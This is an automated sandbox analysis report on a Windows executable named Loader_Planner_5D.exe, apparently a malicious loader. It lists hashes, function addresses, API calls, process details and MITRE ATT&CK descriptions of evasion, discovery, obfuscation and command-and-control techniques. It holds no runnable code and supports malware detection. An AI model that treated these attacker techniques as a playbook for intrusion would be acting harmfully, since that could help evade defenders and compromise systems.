Instruction ID: 84e10b04918ac9d3b9871caf7aa308fc5ae2cd493d7ebe4595f0ecbcdef8b7ce
Opcode Fuzzy Hash: ce6cdec83da730ca8b9d368019309ee7f561cf62f94346bf4aef8dceb64a7575
Instruction Fuzzy Hash: 6B211536A15A158EEB50EF78D4402AC73B1FB4C358B801535FA0D97B4ADE38E945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106440D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7106212CF), ref: 00007FF710644114
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7106212CF), ref: 00007FF71064415A

Strings

csm, xrefs: 00007FF710644147

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 2085032e5405fa80d82446859a75a8916516ce17060cedda0d29a61d0432925a
Instruction ID: d3e2f3c3d4cba86f58f2d2af6e40808163003cd8c55b14a427aabdb9222a1fa6
Opcode Fuzzy Hash: 2085032e5405fa80d82446859a75a8916516ce17060cedda0d29a61d0432925a
Instruction Fuzzy Hash: F6115136A08F8582EB109F15F440269B7A1FB99BA4F584231DF8C47B58DF3CE595CB00

Uniqueness

Uniqueness Score: -1.00%

Target ID:	0
Start time:	17:30:24
Start date:	20/03/2023
Path:	C:\Users\user\Desktop\Loader_Planner_5D.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\Loader_Planner_5D.exe
Imagebase:	0x7ff710620000
File size:	461824 bytes
MD5 hash:	06F9DAD7D7DFE6CB54E5AC17964CB647
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Loader_Planner_5D.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: Loader_Planner_5D.exePID: 6020, Parent PID: 3528

General

Chronological Activities

Disassembly

Analysis Process: Loader_Planner_5D.exePID: 6020, Parent PID: 3528COMMON

Execution Graph

Windows Analysis Report
Loader_Planner_5D.exe

Function 00007FF710634D60 Relevance: 142.4, APIs: 48, Strings: 32, Instructions: 2412
networklibraryloaderCOMMONCrypto

Function 00007FF71063D8D0 Relevance: 15.4, APIs: 10, Instructions: 360
COMMONCrypto

Function 00007FF710653BCC Relevance: 10.8, APIs: 7, Instructions: 286
COMMONLIBRARYCODECrypto

Function 00007FF7106637F0 Relevance: .2, Instructions: 207
COMMONLIBRARYCODECrypto

Function 00007FF7106421A8 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61
libraryloaderCOMMON

Function 00007FF710667C14 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Function 00007FF710627170 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 231
COMMON

Function 00007FF71062A980 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
COMMON

Function 00007FF7106427C8 Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Function 00007FF71062AB50 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228
COMMON

Function 00007FF710648BF4 Relevance: 4.6, APIs: 3, Instructions: 72
COMMON

Function 00007FF710634700 Relevance: 4.6, APIs: 3, Instructions: 60
COMMON

Function 00007FF710634610 Relevance: 4.6, APIs: 3, Instructions: 59
COMMON

Function 00007FF71062A450 Relevance: 3.1, APIs: 2, Instructions: 111
COMMON

Function 00007FF710651FD8 Relevance: 3.1, APIs: 2, Instructions: 59
COMMON

Function 00007FF710641E18 Relevance: 3.0, APIs: 2, Instructions: 21
COMMONLIBRARYCODE

Function 00007FF710651DC8 Relevance: 3.0, APIs: 2, Instructions: 19
COMMONLIBRARYCODE

Function 00007FF710627A40 Relevance: 1.7, APIs: 1, Instructions: 229
COMMON

Function 00007FF7106522C4 Relevance: 1.6, APIs: 1, Instructions: 105
COMMONLIBRARYCODE

Function 00007FF710653AB0 Relevance: 1.6, APIs: 1, Instructions: 74
COMMONLIBRARYCODE

Function 00007FF7106674B8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Function 00007FF710663C68 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Function 00007FF71064F434 Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Function 00007FF71063DFD0 Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Function 00007FF710652430 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Function 00007FF710654688 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Function 00007FF710625530 Relevance: 265.6, APIs: 4, Strings: 147, Instructions: 1355
COMMONCrypto

Function 00007FF7106231D0 Relevance: 258.5, APIs: 8, Strings: 139, Instructions: 1295
COMMONCrypto

Function 00007FF71063EFF0 Relevance: 251.9, APIs: 11, Strings: 132, Instructions: 1680
COMMONCrypto

Function 00007FF7106390C0 Relevance: 56.7, APIs: 27, Strings: 5, Instructions: 694
networkCOMMONCrypto

Function 00007FF71063A090 Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 459
networksleepCOMMONCrypto

Function 00007FF710661300 Relevance: 27.2, APIs: 18, Instructions: 229
fileCOMMONCrypto

Function 00007FF71065C86C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1203
COMMONCrypto

Function 00007FF7106397E0 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 386
networkCOMMONCrypto

Function 00007FF710639130 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 143
networkCOMMON

Function 00007FF71065B188 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222
COMMONLIBRARYCODE

Function 00007FF71065BBBC Relevance: 10.7, APIs: 7, Instructions: 171
COMMONLIBRARYCODE

Function 00007FF710649EC8 Relevance: 9.1, APIs: 6, Instructions: 83
COMMONLIBRARYCODE

Function 00007FF71065C3E0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 329
COMMONCrypto

Function 00007FF7106328C0 Relevance: 6.4, APIs: 4, Instructions: 366
COMMONCrypto

Function 00007FF71063AFA0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 493
COMMONCrypto

Function 00007FF71065B63C Relevance: 4.7, APIs: 3, Instructions: 169
COMMON

Function 00007FF71062B790 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 155
COMMONCrypto

Function 00007FF710652874 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Function 00007FF71065EBE4 Relevance: 3.2, APIs: 2, Instructions: 203
COMMONCrypto

Function 00007FF710654EC0 Relevance: 2.6, Strings: 2, Instructions: 144
COMMONCrypto

Function 00007FF710658DA8 Relevance: 1.9, APIs: 1, Instructions: 371
COMMONCrypto

Function 00007FF710659518 Relevance: 1.8, APIs: 1, Instructions: 335
COMMONCrypto

Function 00007FF71066757C Relevance: 1.7, APIs: 1, Instructions: 182
COMMONCrypto

Function 00007FF710656BE8 Relevance: 1.6, APIs: 1, Instructions: 150
COMMONCrypto

Function 00007FF71062DC30 Relevance: 1.6, Strings: 1, Instructions: 366
COMMONCrypto